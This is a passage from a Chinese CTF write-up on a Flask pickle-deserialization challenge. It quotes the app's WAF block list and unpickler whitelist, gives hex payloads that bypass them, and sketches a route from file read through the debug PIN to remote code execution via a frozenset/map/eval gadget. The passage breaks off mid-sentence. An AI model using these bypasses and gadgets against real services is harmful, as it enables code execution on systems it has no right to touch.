\u6a21\u5f0f\u3002<\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u9898\u76ee\u88ab\u8bbe\u8ba1\u6210\u4e00\u4e2a\u7c7b\u4f3c\u4e8e\u95ef\u5173\u7684\u6a21\u578b\uff0c\u5148\u987a\u7740\u5b83\u7684\u601d\u8def\u5f80\u4e0b\u770b\u3002<\/span><\/p>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain md-expand\">\u4e00\u76f4\u70b9\u5c31\u80fd\u5230\u8fbe challenge 1 \u5904\uff0c\u4ece\u62a5\u9519\u4fe1\u606f\u5f97\u5230\u90e8\u5206\u6e90\u4ee3\u7801\uff1a<\/span><\/p>\n<pre class=\"lang:python mark:2,5,7-8 decode:true \" title=\"app.py            L36 - L45\">form = {n: bytes.fromhex(r) for n, r in request.form.items()}\r\npickle = RestrictedUnpickler()\r\n  \r\nif (chall_str:=form.get('chall1')) is not None:\r\n  if len(chall_str) &gt; 11 or not isascii(chall_str, set(string.printable)):\r\n    failed('Do your planning and prepare your fields before building your house')\r\n  b = pickle.loads(chall_str)\r\n  if type(b) is not bool or not b:\r\n    failed('Lies last only a moment, but the truth lasts forever')\r\n  chall_num, chall_pass, chall_ord = 2, True, 'first'<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u9650\u5236\u4e86<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u63d0\u4ea4\u7684\u957f\u5ea6<\/span><\/strong><\/span><span class=\"md-plain\">\uff0c<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u5b57\u7b26\u96c6\u7c7b\u578b<\/span><\/strong><\/span><span class=\"md-plain\">\uff0c\u6700\u540e\u8fdb\u4e86 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>pickle.loads()<\/code><\/span><span class=\"md-plain\"> \u5e76<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u5224\u65ad\u8fd4\u56de\u503c<\/span><\/strong><\/span><span class=\"md-plain\">\u3002<\/span><\/p>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain\">\u5148\u8bd5\u51e0\u624b\uff0c\u6bd4\u5982\u968f\u4fbf\u63d0\u4ea4\u4e2a\u7279\u6b8a\u7b26\u53f7\uff0c\u5f97\u5230 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>validate()<\/code><\/span><span class=\"md-plain\"> \u6e90\u4ee3\u7801\uff1a<\/span><\/p>\n<pre class=\"lang:python mark:3,8 decode:true \" title=\"app.py           L22 - L31\">@app.before_request\r\ndef validate():\r\n  for c in ['#', '..', '.\/']:\r\n    if c in request.full_path:\r\n      failed('Suspicious characters are strictly prohibited')\r\n  for r in request.form.values():\r\n    v = bytes.fromhex(r)\r\n    for b in [b'R', b'i', b'o', b'b', b'flag', b'`', b'_', b'\\x81']:\r\n      if b in v:\r\n        failed('Suspicious characters are strictly prohibited')<\/pre>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain\">\u53d1\u73b0 GET <\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u8fc7\u6ee4<\/span><\/strong><\/span><span class=\"md-plain\">\u4e86 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>..<\/code><\/span><span class=\"md-plain\"> \u7b49\uff0c\u800c POST <\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u8fc7\u6ee4<\/span><\/strong><\/span><span class=\"md-plain\">\u4e86\u559c\u95fb\u4e50\u89c1\u7684 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>R i o b<\/code><\/span><span class=\"md-plain\"> \u7b49\uff0c\u5c01\u9501\u4e86\u4e00\u4e9b\u5e38\u89c1\u7684\u7b80\u5355\u6f0f\u6d1e\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u9996\u5148\u5c1d\u8bd5\u901a\u8fc7 challenge 1\uff0c\u5206\u6790\u9898\u76ee\u9ed8\u8ba4\u63d0\u4f9b\u7684 payload <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>4930300a2e<\/code><\/span><span class=\"md-plain\">\uff1a<\/span><\/p>\n<pre class=\"toolbar:2 nums:false lang:python decode:true \">&gt;&gt;&gt; pickletools.dis(bytes.fromhex('4930300a2e'))\r\n    0: I    INT        False\r\n    4: .    STOP\r\nhighest protocol among opcodes = 0<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u53d1\u73b0\u4ec5\u9700\u628a\u8fd4\u56de\u503c<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u6539\u4e3a True<\/span><\/strong><\/span><span class=\"md-plain\">\uff0c\u4e5f\u5c31\u662f <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>b'I01\\n.'<\/code><\/span><span class=\"md-plain\"> \uff0c\u63d0\u4ea4 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>4930310a2e<\/code><\/span><span class=\"md-plain\"> \u5373\u53ef\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u5230\u8fbe challenge 2 \u5904\uff0c\u4ece\u62a5\u9519\u4fe1\u606f\u5f97\u5230\u90e8\u5206\u6e90\u4ee3\u7801\uff1a<\/span><\/p>\n<pre class=\"lang:python mark:2,4-5 decode:true \" title=\"app.py           L47 - L53\">if (chall_str:=form.get('chall2')) is not None:\r\n  if len(chall_str) &gt; 22 or not isascii(chall_str, set(string.printable)):\r\n    failed('By failing to prepare, you are preparing to fail')\r\n  user = pickle.loads(chall_str)\r\n  if type(user) is not dict or user.get('user') != 'admin':\r\n    failed('Trust in the LORD with all your heart and lean not on your own understanding; in all your ways submit to him, and he will make your paths straight')\r\n  chall_num, chall_pass, chall_ord = 3, True, 'second'<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u9650\u5236\u4e86\u63d0\u4ea4\u7684\u957f\u5ea6\uff0c\u5b57\u7b26\u96c6\u7c7b\u578b\uff0c\u6700\u540e\u540c\u6837\u8fdb\u4e86 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>pickle.loads<\/code><\/span><span class=\"md-plain\"> \u5e76\u5224\u65ad\u8fd4\u56de\u503c\u3002<\/span><\/p>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain\">\u5206\u6790\u9898\u76ee\u9ed8\u8ba4\u63d0\u4f9b\u7684 payload <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>286456757365720a5667756573740a732e<\/code><\/span><span class=\"md-plain\">\uff1a<\/span><\/p>\n<pre class=\"toolbar:2 nums:false lang:python decode:true \">&gt;&gt;&gt; pickletools.dis(bytes.fromhex('286456757365720a5667756573740a732e'))\r\n    0: (    MARK\r\n    1: d        DICT       (MARK at 0)\r\n    2: V    UNICODE    'user'\r\n    8: V    UNICODE    'guest'\r\n   15: s    SETITEM\r\n   16: .    STOP\r\nhighest protocol among opcodes = 0<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u53d1\u73b0\u4ec5\u9700\u628a <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>'guest'<\/code><\/span><span class=\"md-plain\"> \u6539\u4e3a <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>'admin'<\/code><\/span><span class=\"md-plain\">\uff0c\u4f46\u540c\u65f6\u6ce8\u610f\u5230 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>i<\/code><\/span><span class=\"md-plain\"> \u4f1a\u88ab waf \u62e6\u622a\u4e0b\u6765\uff0c<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u4f7f\u7528 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>\\u0069<\/code><\/span><span class=\"md-plain\"> \u7ed5\u8fc7<\/span><\/strong><\/span><span class=\"md-plain\">\u5373\u53ef\u3002 <\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u5f97\u5230<\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>b'(dVuser\\nVadm\\\\u0069n\\ns.'<\/code><\/span><span class=\"md-plain\">\uff0c\u63d0\u4ea4<\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>286456757365720a5661646d5c75303036396e0a732e<\/code><\/span><span class=\"md-plain\">\u3002<\/span><\/p>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain\">\u5230\u8fbe challenge 3 \u5904\uff0c\u4ece\u62a5\u9519\u4fe1\u606f\u5f97\u5230\u90e8\u5206\u6e90\u4ee3\u7801\uff1a<\/span><\/p>\n<pre class=\"lang:python mark:2,4-6 decode:true \" title=\"app.py            L55 - L62\">if (chall_str:=form.get('chall3')) is not None:\r\n  if len(chall_str) &gt; 153 or not isascii(chall_str, set(string.printable)):\r\n    failed('In the wilderness prepare the way for the LORD; make straight in the desert a highway for our God')\r\n  global guidance; guidance = {'direction': urandom(64)}\r\n  myway = pickle.loads(chall_str)\r\n  if type(myway) is not dict or myway.get('direction') != guidance['direction']:\r\n    failed('Every valley shall be raised up, every mountain and hill made low; the rough ground shall become level, the rugged places a plain')\r\n  chall_num, chall_pass, chall_ord = 4, True, 'third'<\/pre>\n<p><span class=\"md-plain md-expand\">\u53ef\u4ee5\u53d1\u73b0\u9700\u8981\u5728 pickle \u4e2d\u5f15\u5165 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>__main__.guidance<\/code><\/span><span class=\"md-plain md-expand\"> \u4ee5\u7ed5\u8fc7\u9650\u5236\uff0c\u9898\u76ee\u9ed8\u8ba4\u63d0\u4f9b\u7684 payload \u662f\u5e38\u89c4\u7684\uff1a<\/span><\/p>\n<pre class=\"toolbar:2 nums:false lang:python decode:true \">&gt;&gt;&gt; pickletools.dis(bytes.fromhex('286456645c753030363972......'))\r\n\r\n    0: (    MARK\r\n    1: d        DICT       (MARK at 0)\r\n    2: V    UNICODE    'direction'\r\n   28: V    UNICODE    'lost'\r\n   39: s    SETITEM\r\n   40: .    STOP\r\nhighest protocol among opcodes = 0<\/pre>\n<p><span class=\"md-plain md-expand\">\u6ce8\u610f\u5230 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>_<\/code><\/span><span class=\"md-plain\"> \u4f1a\u88ab\u62e6\u622a\uff0c\u5148\u8bd5\u7740\u968f\u610f\u4f7f\u7528 <\/span><span class=\"md-pair-s \"><strong><span class=\"md-pair-s\" spellcheck=\"false\"><code>c<\/code><\/span><span class=\"md-plain\"> (GLOBAL) \u5b57\u8282\u6307\u4ee4<\/span><\/strong><\/span><span class=\"md-plain\">\u7206\u51fa <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>RestrictedUnpickler()<\/code><\/span><span class=\"md-plain md-expand\"> \u7684\u90e8\u5206\u6e90\u4ee3\u7801\uff1a<\/span><\/p>\n<pre class=\"lang:python mark:2-4,6 decode:true \" title=\"cRUP.py              L10 - L17\">def find_class(self, module, name):\r\n  safe_builtins = {'range','complex','set','frozenset','slice','filter','str','bytes','map','dict','list'}\r\n  module, name = module.lower(), name.lower()\r\n  if module == \"builtins\" and name in safe_builtins:\r\n    return getattr(sys.modules[\"builtins\"], name)\r\n  if module == \"main\" and '.' not in name and '__' not in name:\r\n    return getattr(sys.modules[\"__main__\"], name)\r\n  raise pickle.UnpicklingError(\"global '%s.%s' is forbidden\" %(module, name))<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u5176\u4e2d <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>builtins<\/code><\/span><span class=\"md-plain\"> \u4e3a\u767d\u540d\u5355\u63a7\u5236\uff0c <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>__main__<\/code><\/span><span class=\"md-plain\"> \u53ef\u4ee5\u4efb\u610f\u5bfc\u5165\uff0c\u4e14\u5747\u7ecf\u8fc7 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>.lower()<\/code><\/span><span class=\"md-plain\"> \u5904\u7406\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u4e5f\u5c31\u662f\u63a7\u5236<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u6a21\u5757\u540d\u4e3a <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>maIn<\/code><\/span><\/strong><\/span><span class=\"md-plain\"> \u5c31\u53ef\u4ee5\u5728\u4e0d\u89e6\u53d1 waf \u7684\u524d\u63d0\u4e0b\u5f15\u5165 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>__main__<\/code><\/span><span class=\"md-plain\"> \uff1b\u53d8\u91cf <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>guIdance<\/code><\/span><span class=\"md-plain\"> \u540c\u7406\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u5f97\u5230 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>b'cmaIn\\nguIdance\\n.'<\/code><\/span><span class=\"md-plain\"> \uff0c\u5373\u63d0\u4ea4 payload <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>636d61496e0a67754964616e63650a2e<\/code><\/span><span class=\"md-plain\">\u3002<\/span><\/p>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain md-expand\">\u5230\u8fbe challenge 4 \u5904\uff0c\u4ece\u62a5\u9519\u4fe1\u606f\u5f97\u5230\u90e8\u5206\u6e90\u4ee3\u7801\uff1a<\/span><\/p>\n<pre class=\"lang:python mark:2,4-5 decode:true \" title=\"app.py                  L64 - L72\">if (chall_str:=form.get('chall4')) is not None:\r\n  if len(chall_str) &gt; 154 or not notascii(chall_str, set(string.printable)-set('.'+string.ascii_lowercase)):\r\n    failed('The Lord is near to those who are discouraged;\u00a0he saves those who have lost all hope')\r\n  b = pickle.loads(chall_str)\r\n  if type(b) is not bool or not b:\r\n    failed('Sincerity and truth are what you require; fill my mind with your wisdom')\r\n  chall_num, chall_pass, chall_ord = 5, True, 'fourth'\r\n  return render_template('chall_end.html', chall_num=chall_num, chall_ord=chall_ord)<\/pre>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain md-expand\">\u524d\u9762\u90fd\u662f\u5224\u65ad <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>isascii()<\/code><\/span><span class=\"md-plain\">\uff0c\u800c\u672c\u6b21\u5224\u65ad <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>notascii()<\/code><\/span><span class=\"md-plain\"> \uff0c\u5e76\u5141\u8bb8\u4e86 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>.<\/code><\/span><span class=\"md-plain\"> \u548c\u5c0f\u5199\u5b57\u6bcd\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u540c\u6837\u7684\uff0c\u5148\u5206\u6790\u9898\u76ee\u9ed8\u8ba4\u63d0\u4f9b\u7684 payload <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>8004892e<\/code><\/span><span class=\"md-plain\">\uff1a<\/span><\/p>\n<pre class=\"toolbar:2 nums:false lang:python decode:true \">&gt;&gt;&gt; pickletools.dis(bytes.fromhex('8004892e'))\r\n    0: \\x80 PROTO      4\r\n    2: \\x89 NEWFALSE\r\n    3: .    STOP\r\nhighest protocol among opcodes = 2<\/pre>\n<p><span class=\"md-plain md-expand\">\u66f4\u7b80\u5355\u4e86\uff0c\u76f4\u63a5 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>pickle.dumps()<\/code><\/span><span class=\"md-plain md-expand\"> \u6784\u9020\u6216\u8005\u67e5\u770b pickle \u7684\u6e90\u4ee3\u7801\uff1a<\/span><\/p>\n<pre class=\"lang:python decode:true \" title=\"Lib\/pickle.py               L166 - L167\">NEWTRUE        = b'\\x88'  # push True\r\nNEWFALSE       = b'\\x89'  # push False<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u6539\u4e3a <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>b'\\x80\\x04\\x88.'<\/code><\/span><span class=\"md-plain\"> \uff0c\u5373\u63d0\u4ea4 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>8004882e<\/code><\/span><span class=\"md-plain\"> \u5373\u53ef\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u7136\u540e\u4f1a\u53d1\u73b0 challenge \u7ed3\u675f\u4e86\uff0c<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u6ca1\u6709 flag<\/span><\/strong><\/span><span class=\"md-plain md-expand\"> \u3002<\/span><\/p>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain\">\u53ef\u4ee5\u5728\u7ed3\u675f\u9875\u9762\u7684\u6e90\u4ee3\u7801\u4e2d\u53d1\u73b0 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>\/static\/hint.txt<\/code><\/span><span class=\"md-plain\"> \uff0c\u6216\u8005\u5728 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>failed()<\/code><\/span><span class=\"md-plain\"> \u62a5\u9519\u4fe1\u606f\u4e2d\u53d1\u73b0 <\/span><span class=\"md-pair-s \"><strong><span class=\"md-pair-s\" spellcheck=\"false\"><code>\/static\/<\/code><\/span><span class=\"md-plain\"> \u8def\u7531<\/span><\/strong><\/span><span class=\"md-plain\">\uff1a<\/span><\/p>\n<pre class=\"lang:python mark:1-4 decode:true \" title=\"app.py               L14 - L20\">@app.route('\/static\/&lt;path:file&gt;', methods=('GET',))\r\ndef raw_file(file):\r\n  with open('.\/static\/' + file, 'r') as f:\r\n    return f.read()\r\n\r\ndef failed(msg: str):\r\n  raise TryHarder(msg)<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u7ec8\u4e8e\u660e\u767d\u4e3a\u4ec0\u4e48 waf \u8981\u62e6\u622a <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>..<\/code><\/span><span class=\"md-plain\"> \u4e86\uff0c\u5c31\u5f53\u524d\u7684\u9650\u5236\u800c\u8a00\uff0c\u76ee\u5f55\u7a7f\u8d8a\u662f\u4e0d\u53ef\u80fd\u7684\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u5c1d\u8bd5\u7efc\u5408\u4e00\u4e0b\u6240\u6709\u529f\u80fd\uff1a<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">Flask<\/span><\/strong><\/span><span class=\"md-plain\">\u3001<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">debug mode<\/span><\/strong><\/span><span class=\"md-plain\">\u3001<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u6587\u4ef6\u8bfb\u53d6<\/span><\/strong><\/span><span class=\"md-plain\">\u3001<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">pickle.loads<\/span><\/strong><\/span><span class=\"md-plain\">\uff1b\u4e0d\u77e5\u662f\u5426\u6709\u8fd9\u6837\u4e00\u6761\u8def\u6d6e\u73b0\u51fa\u6765\uff1a<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-pair-s\" spellcheck=\"false\"><code>pickle.loads() --&gt; raw_file() (BYPASS WAF) --&gt; debug pin --&gt; RCE<\/code><\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u867d\u7136\u5176\u4e2d\u8bb8\u591a\u7ec6\u8282\u5c1a\u4e0d\u660e\u786e\uff0c\u4f46\u8fd9\u4e9b\u6b63\u662f\u63a5\u4e0b\u6765\u9700\u8981\u63a2\u7d22\u7684\u65b9\u5411\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u4e00\u4e2a\u95ee\u9898\uff0c\u5982\u4f55\u83b7\u5f97 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>raw_file()<\/code><\/span><span class=\"md-plain\"> \u7684\u56de\u663e\uff1f \u4ee3\u7801\u4e2d\u6ca1\u6709\u4efb\u4f55\u663e\u793a\u51fa <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>pickle.loads()<\/code><\/span><span class=\"md-plain\"> \u8fd4\u56de\u503c\u7684\u90e8\u5206\uff1b<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u6ce8\u610f\u5230 debug mode \u5f00\u542f\uff0c\u800c <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>failed()<\/code><\/span><span class=\"md-plain\"> \u6b63\u662f\u7528\u6765<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u62a5\u9519<\/span><\/strong><\/span><span class=\"md-plain\">\u7684\u51fd\u6570\uff0c\u6539\u4e3a\u8c03\u7528 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>failed(raw_file())<\/code><\/span><span class=\"md-plain\"> \u5373\u53ef\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u4e00\u4e2a\u95ee\u9898\uff0c<\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>pickle.loads()<\/code><\/span><span class=\"md-plain\"> \u5982\u4f55\u6267\u884c\u51fd\u6570\uff1f\u5176\u4e2d <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>R i o b   NEWOBJ = b'\\x81'<\/code><\/span><span class=\"md-plain\"> \u5df2\u88ab\u8fc7\u6ee4\uff1b<\/span><\/p>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain\">\u6ce8\u610f\u5230 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>NEWOBJ_EX = b'\\x92'<\/code><\/span> <span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u672a\u88ab\u8fc7\u6ee4<\/span><\/strong><\/span><span class=\"md-plain\">\uff0c\u53ef\u4ee5\u4eff\u7167 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>NEWOBJ<\/code><\/span><span class=\"md-plain\"> \u7684\u65b9\u6cd5\u6267\u884c\u51fd\u6570\uff0c\u89c2\u5bdf\u5176\u6e90\u4ee3\u7801\uff1a<\/span><\/p>\n<pre class=\"lang:python mark:5 decode:true \" title=\"Lib\/pickle.py              L1518 - L1524\">def load_newobj_ex(self):\r\n  kwargs = self.stack.pop()\r\n  args = self.stack.pop()\r\n  cls = self.stack.pop()\r\n  obj = cls.__new__(cls, *args, **kwargs)\r\n  self.append(obj)\r\ndispatch[NEWOBJ_EX[0]] = load_newobj_ex<\/pre>\n<p><span class=\"md-plain md-expand\">\u6839\u636e <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>find_class()<\/code><\/span><span class=\"md-plain\"> \u7684 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>builtins<\/code><\/span><span class=\"md-plain\"> \u767d\u540d\u5355 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>{'range','complex','set','frozenset','slice','filter','str','bytes','map','dict','list'}<\/code><\/span><span class=\"md-plain md-expand\">\uff0c\u4ece\u4f17\u591a\u7684\u9009\u9879\u4e2d\u614e\u91cd\u5730\u9009\u51fa\u4e86\u4e00\u4e2a\uff1a <\/span><\/p>\n<pre class=\"toolbar:2 nums:false lang:python decode:true \">&gt;&gt;&gt; frozenset.__new__(frozenset, map.__new__(map, eval, ('123+456',)))\r\nfrozenset({579})<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u4f7f\u7528 <\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">map<\/span><\/strong><\/span><span class=\"md-plain\"> \u800c\u975e filter \u56e0\u4e3a\u524d\u8005\u80fd\u8fd4\u56de\u6267\u884c\u7684\u7ed3\u679c\uff0c\u4f7f\u7528 <\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">frozenset<\/span><\/strong><\/span><span class=\"md-plain\"> \u56e0\u4e3a\u5176\u80fd\u89e6\u53d1 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>__next__()<\/code><\/span><span class=\"md-plain\"> \u5e76\u8c03\u7528\u51fd\u6570\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u6700\u5173\u952e\u7684\u95ee\u9898\uff0c\u524d\u4e09\u4e2a challenge \u9650\u5236 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>isascii()<\/code><\/span><span class=\"md-plain\">\uff0c\u800c\u7b2c\u56db\u4e2a challenge \u9650\u5236 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>notascii()<\/code><\/span><span class=\"md-plain\"> \uff0c\u5982\u4f55\u7ed5\u8fc7\uff1f<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u5f88\u660e\u663e <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>NEWOBJ_EX<\/code><\/span><span class=\"md-plain md-expand\"> \u65e0\u6cd5\u51fa\u73b0\u5728\u524d\u4e09\u4e2a\u4e2d\uff0c\u800c\u4ec5\u7528\u5c0f\u5199\u5b57\u6bcd\u65e0\u6cd5\u5728\u7b2c\u56db\u4e2a\u4e2d\u6784\u9020\u51fa\u53ef\u5229\u7528\u7684\u5b57\u7b26\u4e32\uff0c\u56e0\u4e3a\u6b64\u65f6\u4ec5\u6709 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>STACK_GLOBAL = b'\\x93'<\/code><\/span><span class=\"md-plain\"> \u53ef\u4ee5\u7528\u6765\u5f15\u5165\u53d8\u91cf\uff08\u4f7f\u7528 c \u7684\u8bdd\u4f1a\u4e0d\u53ef\u907f\u514d\u5730\u9047\u5230\u5927\u5199\u5b57\u6bcd\uff09\uff0c\u800c\u88ab\u538b\u5165\u7684\u5b57\u7b26\u4e32\u65e0\u6cd5\u50cf <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>V<\/code><\/span><span class=\"md-plain\"> \u6216 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>S<\/code><\/span><span class=\"md-plain\"> \u5b57\u8282\u6307\u4ee4\u4e00\u6837\u7ed5\u8fc7 waf\u3002<\/span><\/p>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain\">\u4e3a\u770b\u6e05\u95ee\u9898\u7684\u5168\u8c8c\uff0c\u968f\u610f\u4f7f\u7528\u4e00\u4e9b\u975e\u6cd5\u7684\u5b57\u8282\u5e8f\u5217\u8fd8\u539f\u51fa <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>RestrictedUnpickler().loads()<\/code><\/span><span class=\"md-plain\"> \u7684\u90e8\u5206\u6e90\u4ee3\u7801\uff1a<\/span><\/p>\n<pre class=\"lang:python mark:5 decode:true \" title=\"cRUP.py            L19 - L23\">def loads(self, s: bytes):\r\n  file = io.BytesIO(s)\r\n  self._file_readline = file.readline\r\n  self._file_read = file.read\r\n  return super().load()<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u6ce8\u610f\u5230\u5e76\u4e0d\u662f\u6bcf\u6b21\u90fd\u751f\u6210\u65b0\u7684 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>pickle._Unpickler<\/code><\/span><span class=\"md-plain\"> \u5b9e\u4f8b\uff0c\u800c\u662f\u66f4\u6539\u4e86\u67d0\u4e9b\u5fc5\u987b\u7684\u53c2\u6570\u5e76<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u590d\u7528<\/span><\/strong><\/span><span class=\"md-plain\">\u4e86\u5f53\u524d\u5b9e\u4f8b\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u67e5\u770b pickle.py \u6e90\u4ee3\u7801\uff1a<\/span><\/p>\n<pre class=\"lang:python mark:2,7,12 decode:true \" title=\"Python310\/Lib\/pickle.py             L1137 - L1215\">class _Unpickler:\r\n  def __init__(self, file, *, fix_imports=True,\r\n               encoding=\"ASCII\", errors=\"strict\", buffers=None):\r\n    self._buffers = iter(buffers) if buffers is not None else None\r\n    self._file_readline = file.readline\r\n    self._file_read = file.read\r\n    self.memo = {}\r\n    self.encoding = encoding\r\n    self.errors = errors\r\n    self.proto = 0\r\n    self.fix_imports = fix_imports\r\n def load(self):\r\n    # ......\r\n    self.metastack = []\r\n    self.stack = []\r\n    self.append = self.stack.append\r\n    self.proto = 0\r\n    read = self.read\r\n    dispatch = self.dispatch\r\n    try:\r\n      while True:\r\n        key = read(1)\r\n        if not key:\r\n          raise EOFError\r\n        assert isinstance(key, bytes_types)\r\n        dispatch[key[0]](self)\r\n    except _Stop as stopinst:\r\n      return stopinst.value<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain md-expand\">\u6ce8\u610f\u5230 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>self.stack<\/code><\/span><span class=\"md-plain\"> \u5728\u6bcf\u6b21 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>load()<\/code><\/span><span class=\"md-plain\"> \u65f6\u88ab\u91cd\u65b0\u521b\u5efa\uff0c\u800c <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>self.memo<\/code><\/span> <span class=\"md-pair-s\"><strong><span class=\"md-plain\">\u4ec5\u5728\u5b9e\u4f8b\u5316\u5bf9\u8c61\u65f6\u88ab\u6e05\u7a7a\u4e86\u4e00\u6b21<\/span><\/strong><\/span><span class=\"md-plain\">\uff1b<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u518d\u770b <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>\/chall<\/code><\/span><span class=\"md-plain\"> \u8def\u7531\u7684\u4e3b\u8981\u4ee3\u7801\uff0c\u53d1\u73b0\u56db\u4e2a challenge \u786e\u5b9e\u540c\u65f6\u4f7f\u7528\u4e86 